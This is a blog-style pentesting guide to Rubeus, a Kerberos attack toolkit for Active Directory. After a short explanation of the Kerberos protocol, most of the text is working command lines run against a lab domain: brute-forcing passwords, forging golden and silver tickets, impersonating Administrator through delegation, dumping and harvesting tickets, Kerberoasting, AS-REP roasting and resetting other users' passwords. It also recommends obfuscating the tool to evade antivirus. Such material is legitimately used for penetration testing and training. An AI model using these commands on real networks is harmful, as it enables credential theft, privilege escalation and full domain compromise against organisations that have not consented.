A Detailed Guide on Rubeus

Introduction

Rubeus is a C# toolkit for Kerberos interaction and abuses. Kerberos, as we all know, is a ticket-based network authentication protocol and is used in Active Directories. Unfortunately, due to human error, often times AD is not configured properly keeping security in mind. Rubeus can exploit vulnerabilities arising out of these misconfigurations and perform functions such as crafting keys and granting access using forged certificates. The article serves as a guide on using Rubeus in various scenarios.

 

Table of content

·         Kerberos Authentication Flow

·         Kerberos & its Major Components

·         Kerberos Workflow using Messages

·         Service Principal Name SPN

·         Rubeus Setup

·         Ticket Operations

·         Asktgt

·         Asktgs

·         Klist

·         Renew

·         Brute

·         Hash

·         S4u

·         Golden Ticket

·         Silver Ticket

·         Ticket Management

·         Ptt

·         Purge

·         Describe

·         Triage

·         Dump

·         Tgtdeleg

·         Monitor

·         Harvest

·         Kerberoasting

·         ASREPRoast

·         Createnetonly

·         Changepw

·         Currentluid

·         Conclusion

 

Kerberos Authentication Flow

Kerberos and its Major Components

The Kerberos protocol defines how clients interact with a network authentication service. Clients obtain tickets from the Kerberos Key Distribution Center (KDC), and they submit these tickets to application servers when connections are established. It uses UDP port 88 by default and depends on the process of symmetric key cryptography.

“Kerberos uses tickets to authenticate a user and completely avoids sending passwords across the network”.

There are some key components in Kerberos authentication that play a crucial role in the entire authentication process.

Kerberos Workflow using Messages

In the Active Directory domain, every domain controller runs a KDC (Kerberos Distribution Center) service that processes all requests for tickets to Kerberos. For Kerberos tickets, AD uses the KRBTGT account in the AD domain.

The image below shows that the major role played by KDC in establishing a secure connection between the server & client and the entire process uses some special components as defined in the table above.

As mentioned above, Kerberos uses symmetric cryptography for encryption and decryption. Let us get into more details and try to understand how encrypted messages are sent to each other. Here we use three colours to distinguish Hashes:

• BLUE _KEY: User NTLM HASH
• YELLOW_KEY: Krbtgt NTLM HASH
• RED_KEY: Service NTLM HASH

Step 1: By sending the request message to KDC, client initializes communication as:

KRB_AS_REQ contains the following:

• Username of the client to be authenticated.
• The service SPN (SERVICE PRINCIPAL NAME) linked with Krbtgt account
• An encrypted timestamp (Locked with User Hash: Blue Key)

The entire message is encrypted using the User NTLM hash (Locked with BLUE KEY) to authenticate the user and prevent replay attacks.

Step 2: The KDC uses a database consisting of Users/Krbtgt/Services hashes to decrypt a message (Unlock with BLUE KEY) that authenticates user identification.

Then KDC will generate TGT (Ticket Granting Ticket) for a client that is encrypted using Krbtgt hash (Locked with Yellow Key) & some Encrypted Message using User Hash.

KRB_AS_REP contains the following:

• Username
• Some encrypted data, (Locked with User Hash: Blue Key) that contains:

·         Session key

·         The expiration date of TGT

• TGT, (Locked with Krbtgt Hash: Yellow Key) which contains:

·         Username

·         Session key

·         The expiration date of TGT

·         PAC with user privileges, signed by KDC

Step 3: The KRB_TGT will be stored in the Kerberos tray (Memory) of the client machine, as the user already has the KRB_TGT, which is used to identify himself for the TGS request. The client sent a copy of the TGT with the encrypted data to KDC.

KRB_TGS_REQ contains:

• Encrypted data with the session key

·         Username

·         Timestamp

• TGT
• SPN of requested service e.g. SQL service

Step 4: The KDC receives the KRB_TGS_REQ message and decrypts the message using Krbtgt hash to verify TGT (Unlock using Yellow key), then KDC returns a TGS as KRB_TGS_REP which is encrypted using requested service hash (Locked with Red Key) & Some Encrypted Message using User Hash.

KRB_TGS_REP contains:

• Username
• Encrypted data with the session key:

·         Service session key

• The expiration date of TGS
• TGS, (Service Hash: RED Key) which contains:

·         Service session key

·         Username

·         The expiration date of TGS

·         PAC with user privileges, signed by KDC

 

Step 5: The user sent the copy of TGS to the Application Server,

KRB_AP_REQ contains:

• TGS
• Encrypted data with the service session key:

·         Username

·         Timestamp, to avoid replay attacks

Step 6: The application attempts to decrypt the message using its NTLM hash and to verify the PAC from KDC to identify user Privilege which is an optional case.

Step 7:  KDC verifies PAC (Optional)

Step 8:  Allow the user to access the service for a specific time.

 

Service Principal Name

Service Principal Name 

The Service Principal Name (SPN) is a unique identifier for a service instance. Active Directory Domain Services and Windows provide support for Service Principal Names (SPNs), which are key components of the Kerberos mechanism through which a client authenticates a service.

Important Points

• If you install multiple instances of a service on computers throughout a forest, each instance must have its SPN. 
• Before the Kerberos authentication service can use an SPN to authenticate a service, the SPN must be registered on the account.
• A given SPN can be registered on only one account. 
• An SPN must be unique in the forest in which it is registered.
• If it is not unique, authentication will fail.

The SPN syntax has four elements 

Type of SPN:

• Host-based SPNs which is associated with the computer account in AD, it is randomly generated 128-character long password which is changed every 30 days; hence it is no use in Kerberoasting attacks
• SPNs that have been associated with a domain user account where NTLM hash will be used.

Rubeus setup

Greek mythology mentions a three headed dog called “Cerberus” which sounds similar to “Kerberos” (maybe even the inspiration for the name!). Harry Potter also mentions a three headed dog called “fluffy” that belonged to and could be controlled by Hagrid whose full name was Rubeus Hagrid. With a name cleverly based on Sci-Fi and mythology, Rubeus is a tool, developed by Will Schroeder and a few other contributors, that attacks Kerberos and is capable of generating raw Kerberos data on UDP port 88. It is derived from Mimikatz and MakeMeEnterpriseAdmin projects. It can be downloaded here.

Please note that the most recent Rubeus binary can be compiled from code by using Visual Studio but a release for ease of use can also be found here.

Detection: Due to the usage of generic functions and derivation from Mimikatz (kekeo family of malware as per CARO) and set procedures, its signatures are by default blocked in many anti-viruses. Plus, Rubeus works as a dropped executable and so, a clever attacker needs to obfuscate Rubeus to hide its detection as soon as it’s dropped on the disk.

Once downloaded, it can be dropped on the victim’s system and run

rubeus.exe

Now that we have set it up, we are ready to demonstrate various options in Rubeus.

 

Ticket Operations

Working of an Active Directory environment depends on various tickets. For example, a Ticket Granting Ticket is an authentication token issued by the KDC which is used to request access from TGS for specific resources.

In this section, we’ll talk about Rubeus and it’s capability to play around with tickets.

 

Asktgt

Rubeus can generate raw AS-REQ traffic in order to ask for a TGT with a provided username and password. The password can also be an encrypted in RC4, AES or DES encryption and it would still work. Let’s see an example where clear text password is supplied

rubeus.exe asktgt /user:harshitrajpal /password:Password@1

As you can see above that a KRBTGT has been successfully generated which can be further used to generate TGS. The same can be achieved by providing in the encrypted password. Let’s use password encrypted with RC4 cipher.

rubeus.exe asktgt /user:harshitrajpal /rc4:64FBAE31CC352FC26AF97CBDEF151E03

 

Asktgs

Rubeus has an asktgs option which can build raw TGS-REP request by providing a ticket either in the CLI argument or by providing path to a ticket.kirbi file placed on disk. Each TGS has a specified purpose.

For example, let’s create a TGS for LDAP service. One or more service SPNs can be provided.

rubeus.exe asktgs /user:harshitrajpal /ticket:doIFNDCCBTCgAwIBB...bA== /service:LDAP/dc1.ignite.local

By providing in the TGT we generated in the previous step (copying in notepad and removing enters to type the ticket in a single line) we have generated a TGS successfully.

 

Klist

Klist command in Windows can be used to view the tickets generated in the system. Here, when we run klist command we can see that a KRBTGT and an LDAP TGS have been generated and stored in the session.

 

Renew

The renew function in Rubeus builds a TGT renewal exchange. We can specify a domain controller using the /dc flag which will be used as a destination for the renewal traffic. We can further use the tgtdeleg option with this and extract user’s credentials without elevation and keep it alive on another system for a week by default.

/ptt flag can also be used in conjunction to apply the Kerberos

rubeus.exe renew /dc:dc1.ignite.local /ticket:doIFNDCCB....bA==

/autorenew sub function will put the exchange to sleep for endTime 30 minutes and after that window automatically renew the TGT and display the renewed ticket

rubeus.exe renew /dc:dc1.ignite.local /autorenew /ticket:doIFNDCCBTCgAw...bA==

As you may now observe that after specified time interval a renewed TGT is shown

 

Brute

The brute option in Rubeus can be used to perform a password bruteforce attack against all the existing user accounts in Active Directory. Many times, a same password is used with multiple accounts in real life enterprise infrastructure. So, brute option can generate multiple TGTs in those accounts having same password. /noticket can be used in conjunction with this option since no ticket is provided with this functionality. For example,

rubeus.exe brute /password:Password@1 /noticket

 

Hash

Rubeus is capable of taking in passwords and generate hashes of it. These are of different formats including NTLM (rc4_hmac) hash. To do this, we can use hash function and provide domain using /domain, an account’s name (can be a machine account too) using /user flag and the password using /password.

rubeus.exe hash /user:harshitrajpal /domain:ignite.local /password:Password@1

As you can see 4 different hashes have been output. Various encryption ciphers are used in conjunction with popular hashing techniques. All of these ciphers are supported in AD environment and hence, may be used in different purposes.

 

S4u

We saw above how we can generate hashes using Rubeus. Now let’s talk about once such attack where hashes can be used to impersonate another user and carry out delegation attacks. For a detailed write-up on delegation attacks follow the link here. In short, OS post Windows server 2003 contained a Kerberos protocol extension called s4uself and s4uproxy. These protocols can be used to conduct delegation attacks. For example, in the example below, we have performed an attack called “Resource-Based Constrained Delegation” which benefits the msDS-AllowedToActOnBehalfOfAnotherIdentity option set in the attribute’s editor. Follow the article here for full attack. In the example below, we’ll use the user noob’s hash and then impersonate Administrator account.

/rc4: flag is used to provide user noob’s account.

/impersonateuser: User that will be impersonated by noob.

/msdsspn: A valid msDS-AllowedToActOnBehalfOfAnotherIdentity value for the account. Here, the domain controller

/altservice: can be supplied to substitute one or more service names in the resulting .kirbi file.

/ptt: Injects the resulting ticket in the current terminal session

rubeus.exe s4u /user:noob$ /rc4:64FBAE31CC352FC26AF97CBDEF151E03 /impersonateuser:Administrator /msdsspn:host/dc1.ignite.local /altservice:cifs /domain:ignite.local /ptt

This would generate a ticket for Administrator user over the specified SPN. In short, we can now act as DC.

 

Golden Ticket

Golden tickets are forged KRBTGTs (Key Distribution Service account) which can be used to forge other TGTs. This provides an attacker persistence over the domain accounts. For a detailed walkthrough on the topic you can visit the article here.

To forge a golden ticket for user harshitrajpal, we first generate an AES hash (RC4 works too) using the hash command in Rubeus and then using the golden function like so. Here,

/ldap: Retrieves information of user over LDAP protocol

/user: Username whose ticket will be forged

/printcmd: displays a one liner command that can be used to generate the ticket again that just got generated

rubeus.exe hash /user:harshitrajpal /domain:ignite.local /password:Password@1

rubeus.exe golden /aes256:EA2344691D140975946372D18949706857EB9C5F65855B0E159E54260BEB365C /ldap /user:harshitrajpal /printcmd

As you can see various details like SID, userID, Service Key etc are being fetched over LDAP which are important to generate a ticket. PAC signing is also done and a TGT generated for harshitrajpal

Also, at the end you’ll see a one liner command that can be used to generate this TGT again.

Various other options can be used in conjunction with golden to modify the generated TGT like:

/rangeinterval: After every time specified, a new ticket will be generated.

/rangeend: Specifies the maximum time tickets will be generated for. Here, 5 days. Since rangeinterval is 1d, 5 different tickets will be generated.

For a full list of modifications, see this page.

 

Silver Ticket

Silver tickets are forged Kerberos Ticket Granting Service (TGS) Tickets but with silver tickets there is no communication with the domain controller. It is signed by the service account configured with an SPN for each server the Kerberos-authenticating service runs on. For more details visit the page here.

Silver ticket attack can be performed using Rubeus using silver function. Other customisations need be made like:

/service: SPN of the service ticket is being generated for

/rc4: Hash of a valid user (harshitrajpal here) which will be used to encrypt the generated ticket

/user: username of the user whose hash is provided

/creduser: User to be impersonated

/credpassword: Password of the user to be impersonated

/krbkey: used to create the KDCChecksum and TicketChecksum. This is the AES256 hmac sha1 hash in the following case.

/krbenctype: type of encrypted hash used. Aes256 here.

rubeus.exe hash /user:harshitrajpal /domain:ignite.local /password:Password@1

rubeus.exe silver /service:cifs/dc1.ignite.local /rc4:64FBAE31CC352FC26AF97CBDEF151E03 /ldap /creduser:ignite.local\Administrator /credpassword:Ignite@987 /user:harshitrajpal /krbkey:EA2344691D140975946372D18949706857EB9C5F65855B0E159E54260BEB365C /krbenctype:aes256 /domain:ignite.local /ptt

This helped us generate a silver ticker for Administrator account. And as a result, we are now able to access DC machine’s C drive

dir \\dc1.ignite.local\c$

 

Ticket Management

Rubeus contains multiple ticket management options that may aid a pentester to conduct operations effectively and stealthily. As a pentester, we need to manage our generated tickets.

 

Ptt

The Rubeus ptt option can import the supplied ticket in command line. The /ptt can also be used in conjunction with other options that output tickets. For example,

rubeus.exe ptt /ticket:doIFNDCCBTCgAwI...bA==

As you can see, the generated ticket has now been imported.

 

Purge

Rubeus has a purge option which can purge/delete all the tickets existing in the current session.

Here, we demonstrate how we purged 2 tickets listed by klist.

rubeus.exe purge

 

Describe

Often we lose track of the tickets in system. Describe option helps us to view details about a particular base64 encrypted blob or ticket.kirbi file.

We can provide the ticket using /ticket flag.

rubeus.exe describe /ticket:doIFNDCCBTCg...bA==

 

Triage

While klist views tickets for current session triage lists all the tickets. When a session is being run as an administrator, we can not only view tickets in the current user’s session memory but other user’s tickets in memory too.

/luid: This flag can be used to provide a specific user ID.

rubeus.exe triage

rubeus.exe triage /luid:0x8f57c

Also, when the LUID is known, we can purge particular user’s tickets too (elevated mode only)

rubeus.exe purge /luid:0x8f57c

 

Dump

If the session is running in an elevated mode, a user can dump/ extract all the current TGTs and service tickets. Again, /luid can be provided to dump specific user’s tickets. /service can be used to filter these tickets.

For example, /service:krbtgt displays only TGTs.

rubeus.exe dump

For a specific service like only krbtgt:

rubeus.exe dump /service:krbtgt

 

Tgtdeleg

Tgtdeleg is Benjamin Delpy’s technique that can exploit the Generic Security Service Application Program Interface (GSS-API) trick and allows you to extract a usable TGT .kirbi file from the current user’s session in low elevation mode. This Windows API can be used to request a delegate TGT that’s intended to be sent to a remote host/SPN.

This can be done like:

rubeus.exe tgtdeleg

As you can see, the current user’s TGT has been dumped successfully.

 

Monitor

The monitor function can periodically extract all TGTs every x seconds where x is the variable provided in the /interval flag.

/targetuser: Only the specified user’s tickets will be returned.

rubeus.exe monitor /targetuser:noob$ /interval:10

 

Harvest

The harvest option extracts TGTs every x seconds where x is provided by /interval flag and it also keeps a cache of any extracted TGTs and any tickets about to expire are autorenewed.

/nowrap filter: Displays tickets in a single line (very helpful)

/runfor: Can specify the end time of harvest option

rubeus.exe harvest /interval:30

 

Kerberoasting

Kerberoasting is a technique that allows an attacker to steal the KRB_TGS ticket, that is encrypted with RC4, to brute force application services hash to extract its password. Kerberos uses NTLM hash of the requested Service for encrypting KRB_TGS ticket for given service principal names (SPNs). When a domain user sent a request for TGS ticket to domain controller KDC for any service that has registered SPN, the KDC generates the KRB_TGS without identifying the user authorization against the requested service.

An attacker can use this ticket offline to brute force the password for the service account since the ticket has been encrypted in RC4 with the NTLM hash of the service account.

For a detailed guide on Kerberoasting, see our article here.

To perform Kerberoasting using Rubeus for a specified SPN, we can provide using the /spn flag.

rubeus.exe kerberoast /spn:ldap/dc1.ignite.local/ignite.local

As you can see above, a valid Kerberos hash has been dumped by kerberoasting LDAP service. These can be cracked using hashcat with module number 13100.

/tgtdeleg can be used to perform the tgt delegation trick to roast all rc4 enabled accounts

rubeus.exe kerberoast /spn:ldap/dc1.ignite.local/ignite.local /tgtdeleg

/aes flag can be used to roast all AES enabled accounts while using KerberosRequestorSecurityToken

rubeus.exe kerberoast /spn:ldap/dc1.ignite.local/ignite.local /aes

Alternate domain credentials to perform Kerberoasting and searching for users to kerberoast can be done using the /creduser and /credpassword

rubeus.exe kerberoast /spn:ldap/dc1.ignite.local/ignite.local /creduser:ignite.local\Administrator /credpassword:Ignite@987

Some customisation flags can also be specified like

/pwdsetbefore: In the format MM-dd-yyyy then only the accounts whose password was last changed before the specified date shall be roasted

/resultlimit: The number of accounts that shall be roasted will be limited to this value

/delay: Specifies the miliseconds interval between two consecutive TGS requests

rubeus.exe kerberoast /spn:ldap/dc1.ignite.local/ignite.local /pwdsetbefore:08-05-2022 /resultlimit:3 /delay:1000

/rc4opsec: tgtdeleg trick is used and accounts without AES enabled are roasted.

rubeus.exe kerberoast /spn:ldap/dc1.ignite.local/ignite.local /rc4opsec

/simple: hashes are output in the console one per line

/nowrap: with this option Kerberos results will not be line wrapped

rubeus.exe kerberoast /spn:ldap/dc1.ignite.local/ignite.local /simple /nowrap

/outfile: Can be used to store the hash in an output file

rubeus.exe kerberoast /spn:ldap/dc1.ignite.local/ignite.local /outfile:type.hash

 

ASREPRoast

A service ticket is obtained using TGT and that TGT is obtained by validating a first step called “pre-authentication.” If this pre-authentication requirement is removed for accounts, it makes them vulnerable to asreproasting.

If the user has “Do not use Kerberos pre-authentication” enabled, then an attacker can recover a Kerberos AS-REP encrypted with the users RC4-HMAC’d password and he can attempt to crack this ticket offline.

You can read our detailed article here.

An SPN can be specified with asreproast option like

rubeus.exe asreproast /spn:ldap/dc1.ignite.local/ignite.local

As you can see, all the accounts with setting “Do not use Kerberos pre-authentication” enabled are vulnerable to the attack and their AS-REP encrypted with RC4-HMAC password has been dumped.

These hashes can also be dumped in a specific hashcat format. By default the hashes can be cracked using JtR.

rubeus.exe asreproast /spn:ldap/dc1.ignite.local/ignite.local /format:hashcat

/domain and /dc are optional flags that can be used to explicitly define the domain and controller accounts.

rubeus.exe asreproast /domain:ignite.local /dc:dc1

/outfile can be used to save this hash in an output file.

rubeus.exe asreproast /spn:ldap/dc1.ignite.local/ignite.local /outfile:type2.hash

If /ldaps is used, LDAP query shall go over secured LDAP (port 636)

rubeus.exe asreproast /user:harshitrajpal /ldaps

 

Createnetonly

The option createnetonly uses the CreateProcessWithLogonW() API to create a new hidden process while returning the ID and LUID. This LUID can then be used with ptt option to apply this ticket in the newly created process. This prevents erasing of current tickets.

/ticket flag can be used to provide kirbi ticket of base64 blob with the created process.

rubeus.exe createnetonly /program:"C:\Windows\System32\upnpcont.exe" /ticket:ticket.kirbi

As you can see, the process ID 3032 is associated with this hidden process and LUID given which can be used using the /luid flag.

 

Changepw

The Rubeus changepw option allows an attacker to change a user’s plaintext password from a TGT .kirbi file or a base64 blob. Hence, when used in conjunction with tgtdeleg or asktgt, we can change a user’s password just from it’s hash. For example, let’s set current user’s password to “Password@1!!!”

/ticket: we provided valid TGT of current user.

rubeus.exe changepw /ticket:doIFNDCC...bA== /new:Password@1!!!

As you can see, password for user ‘harshitrajpal’ has been changed successfully.

Now, we can choose a specific user which has the same password using the /targetuser option too (can be found out using the brute method). Note that necessary privileges may be required here.

rubeus.exe changepw /targetuser:ignite.local\mufasa /ticket:doIFNDCC...bA== /new:Password@1!!!

As you can see, Mufasa had the same password as harshitrajpal and his password got changed too.

 

Currentluid

A simple option to display current LUID. LUID can be utilised with other options by specifying with the /luid flag. For example, to purge ticket of a specific user, luid may be needed.

rubeus.exe currentluid

 

Conclusion

The article talked about a C# implementation of various popular AD attacks covered in variety of major projects like Kekeo called “Rubeus.” It is a versatile tool which can be dropped on the victim’s machine and be used to perform various AD related attacks. We tried to cover a majority of options. A detailed wiki can be referred to here. The article is intended to serve as a quick ready reference for Rubeus usage. Hope you liked the article. Thanks for reading.